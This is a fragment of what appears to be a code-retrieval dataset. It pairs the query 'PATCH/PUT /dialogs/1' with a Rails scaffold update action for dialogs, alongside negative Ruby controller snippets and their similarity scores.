"def apiCreateAsk\n key = request.headers[\"X-API-KEY\"]\n @user = User.find(params[:id])\n if @user.oauth_token == key\n @contribution = Contribution.new(params.permit(:title, :text))\n @contribution.user_id = params[:id]\n @contribution.url = ''\n if @contribution.title != nil && @contribution.save\n render json: {status: 'SUCCES', message: 'Post saved', data: @contribution}, status: :ok\n else\n render json: {status: 'ERROR', message: 'Internal server error', data:[]}, status: :internal_server_error\n end\n else\n render json: {status: 'ERROR', message: 'Authentication error', data:[]}, status: :unauthorized\n end\n end",
"def new\n @quest = Quest.find(params[:quest_id])\n @share = Share.new(:title => @quest.title, :quest => @quest, :owner => current_user)\n @share.init_identities\n render :layout => \"dialog\"\n end",
"def render_json_insert message\n \t\trender_json_confirmation message, :created\n \tend",
"def create\n game = @current_user.games.create!(game_params)\n render json: { game: game }\n end",
"def create \n\t\tquestionId = params[:questionId]\n\t\tanswerId = params[:answerId]\n\t\tanswer = params[:answer]\n\t\tnumAnswers = params[:numAnswers].to_i\n\n\t\tbegin\n\t\t\tsuccess = ParseManager.createUserAnswer(answer, answerId, questionId)\n\t\t\tnumAnswers -= 1\n\t\tend until numAnswers == 0\n\n\t\trender json:success\n\tend"
] |
[
"0.70405114",
"0.64268047",
"0.6369841",
"0.6200411",
"0.5840489",
"0.57129604",
"0.56838524",
"0.5583967",
"0.5543598",
"0.55165863",
"0.53946835",
"0.5386971",
"0.5373209",
"0.5367648",
"0.5350076",
"0.5350076",
"0.5350076",
"0.5350076",
"0.53438485",
"0.534275",
"0.5337176",
"0.5331048",
"0.5311221",
"0.5308196",
"0.5308196",
"0.5305332",
"0.52961165",
"0.52961165",
"0.5277354",
"0.5267537",
"0.52567935",
"0.5256293",
"0.5255595",
"0.52244604",
"0.5219983",
"0.5154748",
"0.51517725",
"0.50987655",
"0.5098509",
"0.5094233",
"0.50938",
"0.5081711",
"0.50765115",
"0.50524205",
"0.5051094",
"0.50358593",
"0.5030136",
"0.5028993",
"0.5018789",
"0.5015199",
"0.5015199",
"0.49981248",
"0.49862397",
"0.49664095",
"0.49636176",
"0.4961916",
"0.4960306",
"0.494781",
"0.49434102",
"0.49389002",
"0.49308625",
"0.49308625",
"0.4919898",
"0.49183875",
"0.49144465",
"0.49091956",
"0.49088064",
"0.4906867",
"0.49060696",
"0.49017447",
"0.4899531",
"0.48993304",
"0.48950556",
"0.48929834",
"0.4890353",
"0.48876524",
"0.48864987",
"0.48863098",
"0.48830685",
"0.48823398",
"0.48796937",
"0.48793176",
"0.48756993",
"0.48741528",
"0.48687556",
"0.48650178",
"0.48504812",
"0.48477948",
"0.48460594",
"0.4844651",
"0.48391545",
"0.4838422",
"0.48367456",
"0.4832429",
"0.48319888",
"0.48304993",
"0.48287502",
"0.48287362",
"0.48267478",
"0.48265"
] |
0.6973855
|
1
|
PATCH/PUT /dialogs/1 PATCH/PUT /dialogs/1.json
|
def update
respond_to do |format|
if @dialog.update(dialog_params)
format.html { redirect_to @dialog, notice: 'Dialog was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @dialog.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @dialog.update(dialog_params)\n format.html { redirect_to @dialog, notice: 'Dialog was successfully updated.' }\n format.json { render :show, status: :ok, location: @dialog }\n else\n format.html { render :edit }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @dialogue.update(dialogue_params)\n format.html { redirect_to @dialogue, notice: 'Dialogue was successfully updated.' }\n format.json { render :show, status: :ok, location: @dialogue }\n else\n format.html { render :edit }\n format.json { render json: @dialogue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @compromise = Compromise.find(params[:id])\n\n if @compromise.update(compromise_params)\n Notification.delete_all([\"compromise_id = ?\", @compromise.id])\n create_for_each_notification_type(@compromise)\n head :no_content\n else\n render json: @compromise.errors, status: :unprocessable_entity\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @prompt = Prompt.find(params[:id])\n\n respond_to do |format|\n if @prompt.update_attributes(params[:prompt])\n format.html { redirect_to @prompt, notice: 'Prompt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prompt = Prompt.find(params[:id])\n\n respond_to do |format|\n if @prompt.update_attributes(params[:prompt])\n format.html { redirect_to @prompt, notice: 'Prompt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n if @compromise.update_attributes(params[:compromise])\n format.html { redirect_to @compromise, notice: 'Compromise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bot = Bot.find(params[:id])\n\n respond_to do |format|\n if @bot.update_attributes(params[:bot])\n format.html { redirect_to @bot, notice: 'Bot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prompt = Prompt.find(params[:id])\n\n respond_to do |format|\n if @prompt.update_attributes(params[:prompt])\n format.html { redirect_to([:scaffold, @prompt], :notice => 'Prompt was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @prompt.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prompt.update(prompt_params)\n format.html { redirect_to @prompt, notice: 'Prompt was successfully updated.' }\n format.json { render :show, status: :ok, location: @prompt }\n else\n format.html { render :edit }\n format.json { render json: @prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @presence = Presence.find(params[:id])\n\n respond_to do |format|\n if @presence.update_attributes(params[:presence])\n format.html { redirect_to @presence, notice: 'Presence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @presence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n if request.headers[\"Authorization\"] == \"Basic 78f91d346838110d9edb6be3996624a9\"\n @message = Message.find(params[:id])\n\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.html { redirect_to @message, notice: 'Message was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @conversation.update(conversation_params)\n format.html { redirect_to @conversation, notice: 'Conversation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # actions\n path = URI(@endpoint).path\n action = URI(@req.request_uri).path.sub(path, '').split('/')\n action -= ['']\n if action.include?('_history')\n @actions = [action[0], '_history']\n else\n @actions = [action[0]]\n end\n\n # search param\n req_query = URI(@req.request_uri).query\n unless req_query.nil?\n @req_params = URI::decode_www_form(req_query).to_h\n end\n\n # requst method\n if @req.request_method == \"GET\" and @actions.include? '_history'\n @req_method = 'vread'\n elsif @req.request_method == \"GET\" and @req_params != nil\n @req_method = 'search-type'\n elsif @req.request_method == \"PUT\"\n @req_method = 'update'\n elsif @req.request_method == \"POST\"\n @req_method = 'create'\n else\n @req_method = 'read'\n end\n\n # interaction\n int1 = Interaction.last type: @actions[0], code: @req_method\n if int1.nil?\n @present = 0\n else\n @present = int1.id\n @intCode = int1.valueCode\n end\n end",
"def update!(**args)\n @dialog_action = args[:dialog_action] if args.key?(:dialog_action)\n @type = args[:type] if args.key?(:type)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @dialog_action = args[:dialog_action] if args.key?(:dialog_action)\n @type = args[:type] if args.key?(:type)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @action_status = args[:action_status] if args.key?(:action_status)\n @dialog = args[:dialog] if args.key?(:dialog)\n end",
"def update!(**args)\n @action_status = args[:action_status] if args.key?(:action_status)\n @dialog = args[:dialog] if args.key?(:dialog)\n end",
"def update\n @conversation = Conversation.find(params[:id])\n\n if @conversation.update(conversation_params)\n head :no_content\n else\n render json: @conversation.errors, status: :unprocessable_entity\n end\n end",
"def update\n @conversation = Conversation.find(params[:id])\n\n if @conversation.update(conversation_params)\n head :no_content\n else\n render json: @conversation.errors, status: :unprocessable_entity\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update_conversation(id, data)\n instructions = []\n\n if data[:subject]\n instructions << {\n op: \"replace\",\n path: \"/subject\",\n value: data[:subject],\n }\n end\n if data[:mailboxId]\n instructions << {\n op: \"move\",\n path: \"/mailboxId\",\n value: data[:mailboxId],\n }\n end\n if data[:status]\n status = data[:status]\n if !CONVERSATION_STATUSES.include?(status)\n raise InvalidDataError.new(\"status \\\"#{status}\\\" not supported, must be one of #{CONVERSATION_STATUSES}\")\n end\n\n instructions << {\n op: \"replace\",\n path: \"/status\",\n value: data[:status],\n }\n end\n if data.key?(:assignTo)\n # change owner\n if data[:assignTo]\n instructions << {\n op: \"replace\",\n path: \"/assignTo\",\n value: data[:assignTo],\n }\n else\n # un assign\n instructions << {\n op: \"remove\",\n path: \"/assignTo\",\n }\n end\n end\n\n # Note: HelpScout currently does not support multiple\n # instructions in the same request, well have to do them\n # individually :-)\n instructions.each do |instruction|\n patch(\"conversations/#{id}\", { body: instruction })\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n respond_to do |format|\n @private_message.user_from_id = current_user.id\n if @private_message.update(private_message_params)\n format.html { redirect_to \"/pm/#{request.fullpath.include?('outbox')?'out':'in'}box/#{@private_message.id}.html\", notice: I18n.t('Private message was successfully updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @private_message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n message = Message.find(params[:id])\n message.update(message_params)\n render json: message\n end",
"def update\n @conversation = Conversation.find(params[:id])\n\n respond_to do |format|\n if @conversation.update_attributes(params[:conversation])\n format.html { redirect_to @conversation, notice: 'Conversation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @presence.update(presence_params)\n format.html { redirect_to profesor_presence_path, notice: 'Asistencia correctamente modificada.' }\n format.json { render :show, status: :ok, location: @presence }\n else\n format.html { render :edit }\n format.json { render json: @presence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @conversation = Conversation.find(params[:id])\n\n respond_to do |format|\n if @conversation.update_attributes(params[:conversation])\n format.html { redirect_to @conversation, notice: 'Conversation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @conversation = Conversation.find(params[:id])\n\n respond_to do |format|\n if @conversation.update_attributes(params[:conversation])\n format.html { redirect_to @conversation, notice: 'Conversation was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n @convo = Convo.find(params[:id])\n\n respond_to do |format|\n if @convo.update_attributes(params[:convo])\n format.html { redirect_to @convo, notice: 'Conversation has been modified.' }\n format.json { render json: @convo.merits }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @convo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @chat.update(chat_params)\r\n format.html { redirect_to chat_path(@chat), notice: 'Chat was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @chat.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @manifesto_promise.update(manifesto_promise_params)\n format.html { redirect_to @manifesto_promise, notice: 'Manifesto promise was successfully updated.' }\n format.json { render :show, status: :ok, location: @manifesto_promise }\n else\n format.html { render :edit }\n format.json { render json: @manifesto_promise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_with []\n end",
"def patch\n end",
"def patch(path, opts = {})\n request(:patch, path, opts).body\n end",
"def activo_update\n respond_to do |format|\n activo = params[:presentacion][:activo]\n id = params[:id]\n Presentacion.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @chat.update(chat_params)\n format.html { redirect_to @chat, notice: 'Chat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chat.update(chat_params)\n format.html { redirect_to @chat, notice: 'Chat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n render json: Passage.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @command.update(command_params)\n format.json { render :json => @command }\n else\n format.json { render json: @command.errors, status: 401 }\n end\n end\n end",
"def update\n @po = Po.find(params[:id])\n\n respond_to do |format|\n if @po.update_attributes(params[:po])\n format.html { redirect_to @po, notice: 'Po was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @po.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @dialog_turn = DialogTurn.find(params[:id])\n\n respond_to do |format|\n if @dialog_turn.update_attributes(params[:dialog_turn])\n format.html { redirect_to(@dialog_turn, :notice => 'DialogTurn was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dialog_turn.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @message = Message.find(params[:id])\n\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.html { redirect_to outbox_path, notice: 'Message was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @verb.update(verb_params)\n format.html { redirect_to @verb, notice: 'Verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @spoofer = Spoofer.find(params[:id])\n\n respond_to do |format|\n if @spoofer.update_attributes(params[:spoofer])\n format.html { redirect_to @spoofer, notice: 'Spoofer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoofer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @message = Message.find(params[:id])\n @message.update(text: params[\"_json\"])\n render json: @message\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def update\n @pot = Pot.find(params[:id])\n\n respond_to do |format|\n if @pot.update_attributes(params[:pot])\n format.html { redirect_to @pot, notice: 'Pot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @notice.update(notice_params)\n respond_to do |format|\n format.json { render action: 'show' }\n end\n end",
"def update\n respond_to do |format|\n if @auto_message.update(auto_message_params)\n format.html { redirect_to @auto_message, notice: 'Auto message was successfully updated.' }\n format.json { render :show, status: :ok, location: @auto_message }\n else\n format.html { render :edit }\n format.json { render json: @auto_message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.html { redirect_to @message, notice: 'Message was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @message.update(message_params)\n format.html { redirect_to @message, notice: 'Message was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @message.update(message_params)\n format.html { redirect_to @message, notice: 'Message was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n @v1_message = V1::Message.find(params[:id])\n\n if @v1_message.update(message_params)\n render json: @v1_message, status: :ok\n else\n render json: @v1_message.errors, status: :unprocessable_entity\n end\n end",
"def update\n authorize! :edit, @questionnaire\n\n @questionnaire.load_JSON(params[:questionnaire], current_user)\n\n respond_to do |format|\n# if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Kysymyslomakkeen muokkaaminen onnistui.' }\n format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n# end\n\n end\n end",
"def patch_conversations_chat_with_http_info(conversation_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.patch_conversations_chat ...\"\n end\n \n \n # verify the required parameter 'conversation_id' is set\n fail ArgumentError, \"Missing the required parameter 'conversation_id' when calling ConversationsApi.patch_conversations_chat\" if conversation_id.nil?\n \n \n \n \n \n \n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling ConversationsApi.patch_conversations_chat\" if body.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/conversations/chats/{conversationId}\".sub('{format}','json').sub('{' + 'conversationId' + '}', conversation_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Conversation')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#patch_conversations_chat\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @verb = Verb.find(params[:id])\n\n if @verb.update(verb_params)\n head :no_content\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end",
"def update\n # binding.pry\n @ringtone = Ringtone.find(params[:id])\n\n respond_to do |format|\n if @ringtone.update_attributes(params[:ringtone])\n format.html { redirect_to @ringtone, notice: 'Ringtone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ringtone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n head :forbidden\n\n #@action = Action.find(params[:id])\n\n #if @action.update_attributes(params[:action])\n # head :no_content\n # else\n # render json: @action.errors, status: :unprocessable_entity\n # end\n end",
"def update\n @chat = Chat.find(params[:id])\n\n respond_to do |format|\n if @chat.update_attributes(params[:chat])\n format.html { redirect_to @chat, notice: 'Chat was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n if @gotcha.update_attributes(params[:gotcha])\n format.html { redirect_to @gotcha, notice: 'Gotcha was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gotcha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @responder = Responder.find(params[:id])\n\n respond_to do |format|\n if @responder.update_attributes(params[:responder])\n format.html { redirect_to @responder, :notice => 'Responder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @responder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n render status: 501, json: { errors: ['Action not implemented yet!'] }\n end",
"def update\n # build_resource\n if resource.status == 'Open'\n resource.update_attributes permitted_params[:contract]\n if !resource.valid?\n render json: resource.errors, status: :unprocessable_entity\n else\n resource.save\n respond_with json: {}, status: :ok\n end\n else\n respond_with json: [{'error':'The contract must be Open to edit.'}], status: :unprocessable_entity\n end\n end",
"def update\n @pump_line = PumpLine.find(params[:id])\n\n respond_to do |format|\n if @pump_line.update_attributes(params[:pump_line])\n format.html {render :template => 'shared/close', :layout => \"fancybox\"}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pump_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reqdifficulty.update(reqdifficulty_params)\n format.html { redirect_to @reqdifficulty, notice: 'Reqdifficulty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @reqdifficulty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_conversations_message_with_http_info(conversation_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.patch_conversations_message ...\"\n end\n \n \n # verify the required parameter 'conversation_id' is set\n fail ArgumentError, \"Missing the required parameter 'conversation_id' when calling ConversationsApi.patch_conversations_message\" if conversation_id.nil?\n \n \n \n \n \n \n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling ConversationsApi.patch_conversations_message\" if body.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/conversations/messages/{conversationId}\".sub('{format}','json').sub('{' + 'conversationId' + '}', conversation_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Conversation')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#patch_conversations_message\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_permissao.update(sivic_permissao_params)\r\n format.html { redirect_to @sivic_permissao, notice: 'Sivic permissao was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_permissao.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @message = Message.find(params[:id])\n\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.html { redirect_to @message, :notice => 'Message was successfully set.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @message.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @respuestum.update(respuestum_params)\r\n format.html { redirect_to @respuestum, notice: 'Respuestum was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @respuestum }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @respuestum.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @draft = Draft.find(params[:id])\n\n respond_to do |format|\n if @draft.update_attributes(params[:draft])\n format.html { redirect_to @draft, flash: { success: 'Черновик был успешно обновлён'} }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @draft.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @draft.update(draft_params)\n format.html { redirect_to @draft, notice: 'Draft was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @draft.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n \n @message_template = MessageTemplate.find(params[:id])\n @message_template.parametres_cabinet_id = current_user.parametres_cabinet_id\n\n @message_template.update_attributes(params[:message_template]) \n respond_to do |format|\n format.html { head :ok }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@message_template}}\n \n end\n end",
"def update\n respond_to do |format|\n if @conversation.update(conversation_params)\n format.html { redirect_to @conversation, notice: 'Conversation was successfully updated.' }\n format.json { render :show, status: :ok, location: @conversation }\n else\n format.html { render :edit }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @conversation.update(conversation_params)\n format.html { redirect_to @conversation, notice: 'Conversation was successfully updated.' }\n format.json { render :show, status: :ok, location: @conversation }\n else\n format.html { render :edit }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @conversation.update(conversation_params)\n format.html { redirect_to @conversation, notice: 'Conversation was successfully updated.' }\n format.json { render :show, status: :ok, location: @conversation }\n else\n format.html { render :edit }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @message = Message.find(params[:id])\n\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.html { redirect_to @message, :notice => 'Message was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @message.errors, :status => :unprocessable_entity }\n end\n end\n end",
